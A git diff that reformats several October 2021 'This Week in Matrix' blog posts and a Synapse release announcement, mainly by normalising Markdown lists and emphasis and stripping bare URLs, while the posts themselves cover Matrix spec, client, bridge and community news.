[#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/10/2021-10-15-this-week-in-matrix-2021-10-15.md b/content/blog/2021/10/2021-10-15-this-week-in-matrix-2021-10-15.md index 513fd0eb7..62c93de73 100644 --- a/content/blog/2021/10/2021-10-15-this-week-in-matrix-2021-10-15.md +++ b/content/blog/2021/10/2021-10-15-this-week-in-matrix-2021-10-15.md @@ -24,7 +24,7 @@ Demo time! Threads and SwiftUI on the agenda this week! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -44,6 +44,7 @@ Demo time! Threads and SwiftUI on the agenda this week! > **Merged MSCs:** > > * _No MSCs were merged this week._ +> > #### Spec Updates > > The actual spec changes for [MSC2844: Global version number for the whole spec](https://github.com/matrix-org/matrix-doc/pull/2844) have now been merged [[one](https://github.com/matrix-org/matrix-doc/pull/3420), [two](https://github.com/matrix-org/matrix-doc/pull/3421)]. You can take a look at [this section](https://spec.matrix.org/unstable/#specification-versions) of the unstable spec to now see an explanation of the Matrix spec version numbering scheme. @@ -89,11 +90,10 @@ Demo time! Threads and SwiftUI on the agenda this week! > let's bridge everything! Have you ever wished you could make and receive phone calls with matrix? > > The beginnings of a matrix <-> SIP bridge are done :) If you can imagine to live with bugs or even help with the development yourself, feel free to give it a try! :) -> https://github.com/alangecker/matrix-appservice-pstn +> > > Discussions: [#matrix-voip-bridging:kb1rd.net](https://matrix.to/#/#matrix-voip-bridging:kb1rd.net) - ![2021-10-15-4j7h3-screencast.gif](/blog/img/2021-10-15-4j7h3-screencast.gif) ## Dept of Clients 📱 @@ -133,33 +133,35 @@ Demo time! Threads and SwiftUI on the agenda this week! > Making steps towards stable E2EE, we have now implemented bootstrapping cross-signing on a new account. This allowed me to finally enable cross-signing on my Nico (nheko.im) account (which I intended to only use with Nheko). Thulinma also added a way to refresh the current device list as well as highlighting your current device in the device list, which should make it easier to recover, if a misscommunitcation with the server lead to an outdated device list. Meanwhile LorenDB has been plugging away on converting more dialogs to Qml and we merged like 3 converted dialogs! - ![2021-10-15-Exgkj-bootstrap.png](/blog/img/2021-10-15-Exgkj-bootstrap.png) ### Element + **Web** * Released Element Web 1.9.2 featuring chat export, Spaces and E2EE improvements, updates to Electron 13.5.1 * More progress on the client side of threads, published [an MSC](https://github.com/matrix-org/matrix-doc/pull/3440) and started work on Synapse support * Fixed some bugs in registration, Windows icons, phone number confirmation + **Delight team** * On iOS, we’ve been implementing support for pagination of the Space Summary API, to support larger spaces, as well as improving performance. We’ve also started implementing support for creating Spaces. * We’re also exploring larger changes to make to the layouts of Element on all platforms to surface simpler and more intuitive navigation all round and tackle some of the feedback we couldn’t get to during the Spaces beta. Watch this space! + **iOS** -- We failed to publish the app on the app store this week because of observed crashes. RC 1.6.5 is available on TestFlight. We should be able to release on the App Store on Monday -- User auto completion has landed on develop -- Message forward is in the horizon -- Settings got lipstick by reviewing headers and footers -- It is now possible to copy and paste an image +* We failed to publish the app on the app store this week because of observed crashes. RC 1.6.5 is available on TestFlight. We should be able to release on the App Store on Monday +* User auto completion has landed on develop +* Message forward is in the horizon +* Settings got lipstick by reviewing headers and footers +* It is now possible to copy and paste an image ## Dept of Widgets 🧩 -### New Widgets: Spanners! +### New Widgets: Spanners Can you believe we didn’t have a dept. of Widgets yet? We do now! @@ -171,7 +173,7 @@ Can you believe we didn’t have a dept. of Widgets yet? We do now! > > You can try this out now with `/addwidget https://half-shot.uk/spanner?spannerName=YourSpannerName` (although no promises about the uptime of half-shot.uk) > -> The repo can be found https://github.com/Half-Shot/matrix-spanner-widget. +> The repo can be found . > > You will need to ensure that all users who plan to use it must be able to send state events of type `uk.half-shot.spanner`. Otherwise, it should be ready to go! @@ -193,18 +195,17 @@ I heard CLI tools are all the rage, so here is one! [Andreas](https://matrix.to/#/@hingst:hingst.net) told us: -> Hi everyone! +> Hi everyone! > -> We believe that having your own homeserver should be easy and require little technical knowledge. That's why we launched [Hingst](https://hingst.net), a privacy focused Matrix hosting service which takes care of (almost) everything for you. +> We believe that having your own homeserver should be easy and require little technical knowledge. That's why we launched [Hingst](https://hingst.net), a privacy focused Matrix hosting service which takes care of (almost) everything for you. > -> Our goal is that our users spend no time whatsoever on maintaining the actual server so they can focus on what matters - chatting with friends and colleagues. +> Our goal is that our users spend no time whatsoever on maintaining the actual server so they can focus on what matters - chatting with friends and colleagues. > -> All servers are located in Sweden and of course they run entirely on renewable energy! +> All servers are located in Sweden and of course they run entirely on renewable energy! > > That's all for now. Thanks for reading :) - -If getting your own homeserver was *hinging* on the availability of such a service, you don’t have an excuse anymore! +If getting your own homeserver was _hinging_ on the availability of such a service, you don’t have an excuse anymore! ## Dept of Events and Talks 🗣️ @@ -212,7 +213,7 @@ If getting your own homeserver was *hinging* on the availability of such a servi [Cos](https://matrix.to/#/@cos:hacklab.fi) offered: -> First annual Finnish Matrix community meet is to be held 20.11 in Tampere, Finland. Infos and registration at https://mobilizon.be/events/5c9ce49d-83de-41d1-b824-8950293d3fd1 +> First annual Finnish Matrix community meet is to be held 20.11 in Tampere, Finland. Infos and registration at ### Berlin Meetup @@ -233,9 +234,9 @@ If getting your own homeserver was *hinging* on the availability of such a servi > Hi !! > I'm building a matrix user guide for my school. It is not finished yet, but feel free modify/repurpose it ! > -> Preview : https://minitel.emse.fr/move-to-matrix/emse +> Preview : > -> source : https://gitlab.com/henri2h/move-to-matrix +> source : > > The goal is to build an easy user guide which could be easily adapted to other matrix instances. @@ -264,6 +265,7 @@ If getting your own homeserver was *hinging* on the availability of such a servi Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -280,6 +282,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|diasp.in|2408| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/10/2021-10-20-synapse-1-45-1-released.md b/content/blog/2021/10/2021-10-20-synapse-1-45-1-released.md index 2dd9f9528..515bb4d53 100644 --- a/content/blog/2021/10/2021-10-20-synapse-1-45-1-released.md +++ b/content/blog/2021/10/2021-10-20-synapse-1-45-1-released.md @@ -10,7 +10,7 @@ category = ["Releases"] Synapse 1.45.1 is out now! Python 3.10 and PostgreSQL 14 are now tested and supported by Synapse. Support for Python 3.6 and PostgreSQL 9.6 will be removed by the end of the year. > **Note:** This release may require changes to how media storage providers access your homeserver's configuration. See the [Upgrade Notes](https://matrix-org.github.io/synapse/v1.45/upgrade.html#upgrading-to-v1450) for more information. - +> > **Note:** Synapse 1.45.0 was released yesterday and [changed](https://github.com/matrix-org/synapse/pull/10947) how Synapse's monthly active user limits were calculated. Today's release of 1.45.1 [reverts](https://github.com/matrix-org/synapse/pull/11127) that change, but is otherwise identical to 1.45.0. ## Support for oEmbed Autodiscovery diff --git a/content/blog/2021/10/2021-10-22-this-week-in-matrix-2021-10-22.md b/content/blog/2021/10/2021-10-22-this-week-in-matrix-2021-10-22.md index cc2913662..cff30b2ee 100644 --- a/content/blog/2021/10/2021-10-22-this-week-in-matrix-2021-10-22.md +++ b/content/blog/2021/10/2021-10-22-this-week-in-matrix-2021-10-22.md @@ -24,12 +24,12 @@ Julian Sparber from the Fractal team was here with us this week, to tell us abou > I've been working on a brand new `/sync` mechanism, dubbed sync v3, for the past few months. This is a complete overhaul of how clients live-stream sync data from homeservers, and fixes numerous pain points with `/sync` including: > -> * Syncs taking minutes to complete. -> * Syncs sending back vast quantities of data (e.g read receipts for every room you're in). +> * Syncs taking minutes to complete. +> * Syncs sending back vast quantities of data (e.g read receipts for every room you're in). > -> Currently, this new API is designed around the idea of having dynamic sliding windows around a sorted room list for a user's account. The room list can be sorted in different ways and _only rooms in the window are returned to the client_. The room list can also be filtered down based on various criteria (e.g only rooms in these spaces, with events newer than this timestamp, etc) and a subset of current room state can be requested with each returned room. +> Currently, this new API is designed around the idea of having dynamic sliding windows around a sorted room list for a user's account. The room list can be sorted in different ways and *only rooms in the window are returned to the client*. The room list can also be filtered down based on various criteria (e.g only rooms in these spaces, with events newer than this timestamp, etc) and a subset of current room state can be requested with each returned room. > -> ``` +> ```txt > > All joined rooms on user's account > Q W E R T Y U I O P L K J H G F D S A Z X C V B N M @@ -53,7 +53,7 @@ Julian Sparber from the Fractal team was here with us this week, to tell us abou > > This work is still currently in the pre-MSC stage as it's a huge undertaking, but an early, runnable, implementation lives at the [sync-v3](https://github.com/matrix-org/sync-v3) repo. This works by setting up a proxy sync server which will make `/sync` requests to a target homeserver, and storing the data in a useful form for sync v3 queries. It then exposes the sync v3 API which can then actually show you real data from your account. > -> ``` +> ```txt > +---------+ +--------------+ +----------------+ > > | sync v3 | <-- sync v3 API --> | sync v3 | <--- normal /sync requests ---> | Any Homeserver | @@ -62,9 +62,9 @@ Julian Sparber from the Fractal team was here with us this week, to tell us abou > +---------+ +--------------+ +----------------+ > ``` > -> The proxy server also hosts a barebones web client which talks sync v3 at http://localhost:8008/client/ - to get started just point the proxy server to any HS and then paste in your access token to the web client. The web client is **just a test jig** so only has a _read-only_ view of your account and lacks any scrollback, only showing live data. IMPORTANT: generate a new access token before using this client. Do NOT use the token from an existing client (e.g Element web) or else you risk being unable to decrypt E2EE messages. +> The proxy server also hosts a barebones web client which talks sync v3 at - to get started just point the proxy server to any HS and then paste in your access token to the web client. The web client is **just a test jig** so only has a *read-only* view of your account and lacks any scrollback, only showing live data. IMPORTANT: generate a new access token before using this client. Do NOT use the token from an existing client (e.g Element web) or else you risk being unable to decrypt E2EE messages. > -> Intrepid people are encouraged to run a server and see how fast sync on their own account could possibly be in the future. Note that the _first_ sync will be slow as it has to fetch all the user's data via v2 `/sync`. +> Intrepid people are encouraged to run a server and see how fast sync on their own account could possibly be in the future. Note that the *first* sync will be slow as it has to fetch all the user's data via v2 `/sync`. I know it’s going to be a while before this finally gets into our hands as users, but I’m looking forward to it! @@ -74,7 +74,7 @@ I know it’s going to be a while before this finally gets into our hands as use [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) offered: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > #### MSC Status @@ -109,8 +109,6 @@ I know it’s going to be a while before this finally gets into our hands as use > > MSC3214 looks like an MSC that's been somewhat abandoned by everyone involved... But since there are already implementations out in the wild, it may be a simple one to get through! - - ![2021-10-22-y3wpB-stacked_area_chart.png](/blog/img/2021-10-22-y3wpB-stacked_area_chart.png) ## Dept of P2P 👥 @@ -137,15 +135,15 @@ Synapse is a popular homeserver written in Python. > > This is the first release to support oEmbed autodiscovery, leading to richer link previews for many sites. See the [release announcement](https://matrix.org/blog/2021/10/20/synapse-1-45-1-released) for an example. > -> We also believe that we've _finally_ fixed stuck messages! A [race condition](https://github.com/matrix-org/synapse/issues/9424) would occasionally prevent your sent events from syncing back down to all of your clients. This caused messages to look like they were stuck at the bottom of the room, waiting to finish sending, even though other users would receive and see them normally. +> We also believe that we've *finally* fixed stuck messages! A [race condition](https://github.com/matrix-org/synapse/issues/9424) would occasionally prevent your sent events from syncing back down to all of your clients. This caused messages to look like they were stuck at the bottom of the room, waiting to finish sending, even though other users would receive and see them normally. > > Please shout loudly in [this GitHub issue](https://github.com/matrix-org/synapse/issues/9424) if you see a stuck message on a server running 1.45 or later. 😉 > -> We've merged a further 9 pull requests to Sydent, making even more modules pass mypy --strict. We're not quite _all_ the way there, but we're close! Most of the "leaf" modules are done, with the bulk of the remaining work to be done is on `sydent.http`. This is trickier because it's more exposed to the machinery of Twisted, but we'll get there. +> We've merged a further 9 pull requests to Sydent, making even more modules pass mypy --strict. We're not quite *all* the way there, but we're close! Most of the "leaf" modules are done, with the bulk of the remaining work to be done is on `sydent.http`. This is trickier because it's more exposed to the machinery of Twisted, but we'll get there. > > We're already much more confident working in Sydent, and hope to apply these lessons to Synapse soon. > -> (Well, one lesson that won't apply is that type hints are _especially_ valuable in codebases you don't touch as often... but we have no intention of slowing down on Synapse any time soon!) +> (Well, one lesson that won't apply is that type hints are *especially* valuable in codebases you don't touch as often... but we have no intention of slowing down on Synapse any time soon!) Yes please, don’t slow down! @@ -199,8 +197,6 @@ Yes please, don’t slow down! > > Aside from the mini-sprint, we also made a few more improvements during the week. Tobias fixed the flicking of the timeline on mobile and Carl made it possible for the user to resize the room information drawer. - - ![2021-10-22-Jmghv-image.png](/blog/img/2021-10-22-Jmghv-image.png) ![2021-10-22-NnIDk-image.png](/blog/img/2021-10-22-NnIDk-image.png) @@ -219,28 +215,24 @@ Yes please, don’t slow down! Updates from the teams: - + **Web** - - * Finalised our team goals of reducing prioritised defects, shipping threads MVP, better release automation and getting posthog analytics live! * Working on clarifying the threads [MSC](https://github.com/matrix-org/matrix-doc/pull/3440) in response to feedback * Working on user prompts for analytics * Fixed bugs in RTL text and code block rendering * Released Element Web 1.9.3RC + **Spaces** - - * On iOS, we’ve been implementing support for creating Spaces, implementing the screens using SwiftUI. * We’re also making good progress on iterating on the info architecture of the app, to make Spaces more intuitive. Expect more things soon! + **iOS** - - * Publish release 1.6.6 containing matrix.to display behavior improvements on timeline and other improvements made this week. * Improve matrix.to redirection in timeline, pushing views instead of replacing current ones * Improve settings UI @@ -249,10 +241,9 @@ Updates from the teams: * Improve wellKnown parsing * Fix bugs and crashes + **Android** - - * Release candidate 1.3.4 has been prepared Wednesday and tested by the community during a testing session in the afternoon. It adds presence support for DM, and Android Auto support has been restored. You can find out more about the next testing session at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) * We are preparing a version 1.3.5 which fixes small regressions and a bug in the Room settings. * Migration to Hilt (Dependency Injection library) is nearly there, PR is in review. @@ -261,8 +252,6 @@ Updates from the teams: **Crypto Team:** - - * UISI Hunting: Investigations and Auto UISIs reports lab option, UI improvement work started * Web: Device Trust view improvement * Next gen @@ -304,7 +293,7 @@ Contributions from others include [enterprisey fixing the backtrace setup](https > > Hopefully this is good news for those of you who have chats with friends and family on these other platforms, as you can now chat with them in one place from Element without having to mess around having to run your own bridge - and accounts cost just $5 per month. > -> Right now this is a (relatively) private / limited beta intended for the TWIM and EMS inner circle, and we'll be announcing more generally in the next few days / weeks. So, if you are interested, please check it out and sign up at https://ems.element.io/element-one :) +> Right now this is a (relatively) private / limited beta intended for the TWIM and EMS inner circle, and we'll be announcing more generally in the next few days / weeks. So, if you are interested, please check it out and sign up at :) > > *not to be confused with Hydrogen @@ -359,7 +348,7 @@ Contributions from others include [enterprisey fixing the backtrace setup](https [Matthew](https://matrix.to/#/@matthew:matrix.org) reported: -> FOSDEM says https://twitter.com/fosdem/status/1451475324684980241 +> FOSDEM says ## Final Thoughts 💭 @@ -373,7 +362,7 @@ Contributions from others include [enterprisey fixing the backtrace setup](https > > --- > -> This week's room is: [#weiqi:matrix.org](https://matrix.to/#/#weiqi:matrix.org) +> This week's room is: [#weiqi:matrix.org](https://matrix.to/#/#weiqi:matrix.org) > > **"The ancient board game known as Go."** > @@ -386,6 +375,7 @@ Contributions from others include [enterprisey fixing the backtrace setup](https Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -402,6 +392,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|jeroenhd.nl|3032| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/10/2021-10-29-this-week-in-matrix-2021-10-29.md b/content/blog/2021/10/2021-10-29-this-week-in-matrix-2021-10-29.md index 0df4d36d3..b08ed9390 100644 --- a/content/blog/2021/10/2021-10-29-this-week-in-matrix-2021-10-29.md +++ b/content/blog/2021/10/2021-10-29-this-week-in-matrix-2021-10-29.md @@ -22,53 +22,59 @@ This week my guest is Element's Kat who conducted various Community Testing Sess [Denise](https://matrix.to/#/@denise.a:vector.modular.im) reports > TL;DR: Europe is close to officially regulating big corporations and forcing them to open their silos via the Digital Markets Act. Element joined forces with other companies to make sure that the members of the European Commission about to vote on the regulation knew how important it is. -> +> > Matrix was created to break the silos, as an interoperable layer for all communications. We wanted to ensure people had the ability to choose where their data is stored, and had the choice of interface to access them. This was also a good way to enable better competition and innovation in the communication space, forcing the players to compete on value add. But whilst Matrix is already a 39M users open network in itself, it could be even better if the bigger silos decided to open up and participate into it. -> -> In December last year, as part of the Digital Markets Act (DMA), the European Commission proposed to update the competition law for digital markets with rules mandating ‘gatekeeping’ platforms to open up, in order to enable innovation and data sovereignty. -> +> +> In December last year, as part of the Digital Markets Act (DMA), the European Commission proposed to update the competition law for digital markets with rules mandating ‘gatekeeping’ platforms to open up, in order to enable innovation and data sovereignty. +> > This move is so aligned with Matrix and Element’s mission, that Element joined over twenty other organisations to launch the Coalition for Competitive Digital Markets on Tuesday the 26th. The coalition supports stronger rules for large online platforms in the DMA, calling for amendments to it to make sure that major services offer a public API to interact with their core services and to ban the pre-installation and default setting of core platform apps. -> -> Matrix is a perfect example of how technology can thrive through openness and collaboration. We will bring our experiences of using federated and decentralised technologies to MEPs and Council members, in the hope for a regulatory framework which supports European innovation, competition and interoperability. -> +> +> Matrix is a perfect example of how technology can thrive through openness and collaboration. We will bring our experiences of using federated and decentralised technologies to MEPs and Council members, in the hope for a regulatory framework which supports European innovation, competition and interoperability. +> > For more information and to sign our open letter, check out our website: [competitivedigitalmarkets.eu](https://competitivedigitalmarkets.eu) -> +> +> > ![](/blog/img/twim-20211029-banner.png) ## Dept of Spec 📜 [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * *There were no new MSCs created this week.* -> +> > **MSCs with proposed Final Comment Period:** +> > * *No MSCs entered proposed FCP state this week.* -> +> > **MSCs in Final Comment Period:** +> > * [MSC2946: Spaces Summary](https://github.com/matrix-org/matrix-doc/pull/2946) (merge) -> +> > **Merged MSCs:** +> > * [MSC3442: move the `prev_content` key to `unsigned`](https://github.com/matrix-org/matrix-doc/pull/3442) > * [MSC3288: Add room type to `/_matrix/identity/v2/store-invite` API](https://github.com/matrix-org/matrix-doc/pull/3288) > * [MSC3069: Allow guests to use /account/whoami](https://github.com/matrix-org/matrix-doc/pull/3069) -> +> > ## Spec Updates -> +> > Matrix 1.1 is just around the corner! The team continues to work hard on getting the infrastructure surrounding the new release process set up, as well as reviewing MSCs, including the ones you can see above! -> +> > The current speculative release date is in **about a week or two**. Keep your eyes peeled! -> +> > ## Random Spec of the Week -> +> > The random spec of the week is... [MSC3192: Batch state endpoint](https://github.com/matrix-org/matrix-doc/pull/3192)! -> +> > This is one of those MSCs that will likely be sorely needed at some point in time, but currently hasn't gotten a lot of attention. I can think of all sorts of usecases for this (on top of the many that the MSC puts forwards). Go ahead and give it a read! +> > ![](/blog/img/daca26785b70113f77454a71a8be8dd2ef6c9137.png) ## Dept of Servers 🏢 @@ -80,16 +86,17 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) says > Over the weekend, one of the servers backing matrix.org suffered a hardware failure, leading to around half an hour of downtime as we failed over to another system. Remediating and monitoring that has been the focus of much of the Synapse team over the past week. -> +> > We also [shipped a release candidate](https://github.com/matrix-org/synapse/releases/tag/v1.46.0rc1) for Synapse 1.46, due for formal release next week. Notably, we believe this solves a [performance regression](https://github.com/matrix-org/synapse/issues/11049) which was introduced in Synapse 1.44. If you've been experiencing long hangs or other periods of unresponsiveness, please try upgrading to `1.46.0rc1` and let us know if it resolves your issues. -> +> > The Synapse team has also decided to aim for building a rough prototype of [MSC2775: Lazy loading over federation](https://github.com/matrix-org/matrix-doc/pull/2775) by the end of the year, in hopes that this will pave the way to extremely fast joins of large rooms. -> +> > We're also continuing to work on static type checking in our projects: [As of today](https://github.com/matrix-org/sydent/pull/448), Sydent passes `mypy --strict`! We hope to write about what we've learned in the near future. [dmr](https://matrix.to/#/@dmrobertson:matrix.org) says > Here's an addendum about Sydent. We can see the results of our efforts visually, thanks to mypy's reporting options. Two different metrics show increasing coverage since our typing efforts began in the summer. The grey strip shows the last fortnight's sprint in particular. +> > ![](/blog/img/TWGXKTFpjYxlbnHRkZFAzljQ.png) ## Homeserver Deployment 📥️ @@ -107,29 +114,30 @@ Matrix Kubernetes applications packaged into helm charts ### MAM support for Bifröst [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) reports - -> One of the shortfalls facing XMPP users of the Bifröst Matrix bridge is the lack of support for [Message Archive Management (MAM)](https://xmpp.org/extensions/xep-0313.html), which allows XMPP users to retrieve messages sent when they are offline, when they come online next time. Sunday Nkwuda and Olatunji Ajayi, with help from Pirate Praveen, are planning on writing support for MAM in XMPP.js (the XMPP library that Bifrost uses), and then adding MAM support to Bifröst. Since this requires some dedicated full-time effort, they are fundraising to support this project at https://opencollective.com/mam-plugin-for-xmppjs. Many thanks to the XMPP Standards Foundation for serving as fiscal host for the fundraising. + +> One of the shortfalls facing XMPP users of the Bifröst Matrix bridge is the lack of support for [Message Archive Management (MAM)](https://xmpp.org/extensions/xep-0313.html), which allows XMPP users to retrieve messages sent when they are offline, when they come online next time. Sunday Nkwuda and Olatunji Ajayi, with help from Pirate Praveen, are planning on writing support for MAM in XMPP.js (the XMPP library that Bifrost uses), and then adding MAM support to Bifröst. Since this requires some dedicated full-time effort, they are fundraising to support this project at . Many thanks to the XMPP Standards Foundation for serving as fiscal host for the fundraising. ### Heisenbridge [↗](https://github.com/hifi/heisenbridge/) Heisenbridge is a bouncer-style Matrix IRC bridge. [hifi](https://matrix.to/#/@hifi:vi.fi) reports - + > Release v1.4.0 🥳 +> > * Free form AUTOCMD after joining a channel, per channel > * Automatic rejoin on invite or kick (invite enabled by default) > * AVATAR network room command to set avatars for IRC users (admin only) > * WHOIS room command for PMs, PART for channels > * Add ROOM command in network room to run channel room commands safely > * Move PLUMBCFG stuff under ROOM command -> +> > A smaller release this time around which consists mostly of QoL stuff to make things a little easier. [IdleRPG](https://idlerpg.lolhosting.net/) users can now rejoice and login to your character automatically with channel AUTOCMD when joining on reconnect as what's more important: running a bridge to engage in deep conversations or sit in a channel doing nothing? -> +> > Plumb users need to use the new generic ROOM command in network rooms to configure plumbs now that PLUMBCFG has been removed. -> +> > Go grab your fix from [GitHub](https://github.com/hifi/heisenbridge/releases), [PyPI](https://pypi.org/project/heisenbridge/) or [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)! -> +> > Thanks! ## Dept of Clients 📱 @@ -183,8 +191,8 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * Some changes have been made on the SDK API to suit SDK users regarding the AuthenticationService. They will be available in SDK 1.3.7 (next Wednesday). > * And as always, we work to improve the performance of the application and of the SDK, as well as fixing bugs here and there. > * We added two (opt-in) lab options: -> * Automatic bug report -> * Structured login / open telemetry (offline) +> * Automatic bug report +> * Structured login / open telemetry (offline) > * On the crypto side, we're making progress on Android Rust SDK, room shields and key backups [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces @@ -196,13 +204,16 @@ Secure and independent communication for Android, connected via Matrix. Come tal Cinny is a Matrix client focused on simplicity, elegance and security [Lozenge](https://matrix.to/#/@kfiven:matrix.org) says - + > ### Features +> > * Add support for SSO login > * Implement Profile Viewer > * Add search in People drawer > * Add option to filter People in People Drawer +> > ### Bugs +> > * Fix make both user admin on DM create > * Fix unable to send msg in DM from IRC users > * Fixed inconsistent search in emojiboard @@ -210,11 +221,11 @@ Cinny is a Matrix client focused on simplicity, elegance and security > * Fix wildcard matching in emoji search > * Fix message menu placement on large screen > * Fix autofocus in msg input upon clicking emojis in emojiboard. -> -> Find more about Cinny at https://cinny.in/ +> +> Find more about Cinny at > Join our channel at: #cinny:matrix.org -> Github: https://github.com/ajbura/cinny -> Twitter: https://twitter.com/@cinnyapp +> Github: +> Twitter: ## Dept of SDKs and Frameworks 🧰 @@ -225,15 +236,16 @@ AIOMatrix is a simple Matrix bot library for creating bots. [forden](https://matrix.to/#/@forden:matrix.org) says > Today has been released [aiomatrix 0.2.0](https://pypi.org/project/aiomatrix-py/) -> +> > Supported features: +> > * almost full support of [client-server API r0.6.1](https://matrix.org/docs/spec/client_server/r0.6.1) > * handlers for any event > * sending messages > * editing messages > * support for multiple accounts > * extendable filters system -> +> > Check out examples in [Github repo](https://github.com/Forden/aiomatrix/tree/main/examples/) and join us in [#aiomatrix:matrix.org](https://matrix.to/#/#aiomatrix:matrix.org) (or in [#aiomatrix-ru:matrix.org](https://matrix.to/#/#aiomatrix-ru:matrix.org) for russian-speaking folks) ### Halcyon [↗](https://github.com/WesR/Halcyon) @@ -244,13 +256,14 @@ Halcyon is an easy to use matrix library inspired by discord.py > Hello again! Halcyon is a Matrix bot library created with the intention of being easy to install and use. > This release brought some new non-breaking features: -> + Added markdown package as a dependency, used in formatted messages -> + Added support for the following message types: TEXT, EMOTE, NOTICE, IMAGE, FILE, AUDIO, VIDEO -> + Added support for downloading and uploading MXCs (matrix media) -> + Fixed a reported import issue when trying to use the CLI (Thanks @Josh) -> + Added more documentation and a new example in usage.md -> -> More info at on the project at https://github.com/WesR/Halcyon +> +> * Added markdown package as a dependency, used in formatted messages +> * Added support for the following message types: TEXT, EMOTE, NOTICE, IMAGE, FILE, AUDIO, VIDEO +> * Added support for downloading and uploading MXCs (matrix media) +> * Fixed a reported import issue when trying to use the CLI (Thanks @Josh) +> * Added more documentation and a new example in usage.md +> +> More info at on the project at > Chat with us over in #halcyon:blackline.xyz ## Dept of Events and Talks 🗣️ @@ -266,7 +279,7 @@ Halcyon is an easy to use matrix library inspired by discord.py [jaller94](https://matrix.to/#/@jaller94:matrix.org) reports > Heads up for those in Berlin. You're welcome to join us Tuesday, 2nd Nov at 7:00 PM chatting about Matrix development and hosting. We're going to meet in person at c-base. In compliance with the hackerspace's house rules this is a strict 2G event. -> +> > If possible, join our #matrix-berlin:matrix.org room. ## Dept of Interesting Projects 🛰️ @@ -276,16 +289,19 @@ Halcyon is an easy to use matrix library inspired by discord.py [mweidner](https://matrix.to/#/@mweidner:matrix.org) says > I work on [Collabs](https://www.npmjs.com/package/@collabs/collabs), a library for making decentralized collaborative apps, and we have some demos that run on Matrix! E.g., in a widget-capable client like Element, send the message: -> ``` +> +> ```txt > /addwidget https://compoventuals-tests.herokuapp.com/host.html?network=matrix&container=demos/rich-text/dist/rich_text.html > ``` +> > to add a collaborative text editor widget. (Fair warning: loading and saving is flaky, so don't type anything you can't afford to lose.) -> +> > All collaboration happens using messages sent to the Matrix room. So, you're not dependent on any external service provider, and the document is end-to-end encrypted if your room is. -> +> > We have more demos [here](https://compoventuals-tests.herokuapp.com/), with instructions on how to use them in a widget. You can follow those same instructions to run your own Collabs apps ([Getting Started Guide](https://github.com/composablesys/collabs/blob/master/collabs/docs/getting_started_guide.md)), without needing to host any servers yourself! -> +> > If you want to learn more about Collabs and see an app running on Matrix, check out my Strange Loop talk: [https://www.youtube.com/watch?v=Exr0iY_D-vw&t=3s](https://www.youtube.com/watch?v=Exr0iY_D-vw&t=3s). The library is in an alpha state and not yet ready for production use, but we'll be improving it steadily over the next year. +> > ![](/blog/img/HGuhWnTMnoJuqDOnjUBIZCtk.png) ## Dept of *Built on Matrix* 🏗️ @@ -294,24 +310,25 @@ Halcyon is an easy to use matrix library inspired by discord.py > In FediJam feedback we were asked to explore federated gaming. > So, for my [third FediJam](https://itch.io/jam/fedijam-3) I made a dead-simple prototype of a game using Matrix not for chat, but for multiplayer. -> +> > Behold, the [Federated Triangle of Doom](https://houkime.itch.io/federated-triangle-of-doom). > Game creates a chat. Any message with 'boom' posted into there spawns the Red Triangle of malice. > Yes, literally just it. -> +> > Behind the scenes, it uses [Godot Engine](https://godotengine.org/), with [godot-python](https://github.com/touilleMan/godot-python) to make it python-capable. > To connect via Matrix, it leverages [matrix-nio](https://github.com/poljar/matrix-nio) python module. -> As a server, any Matrix server without captcha/email for registration will do! +> As a server, any Matrix server without captcha/email for registration will do! 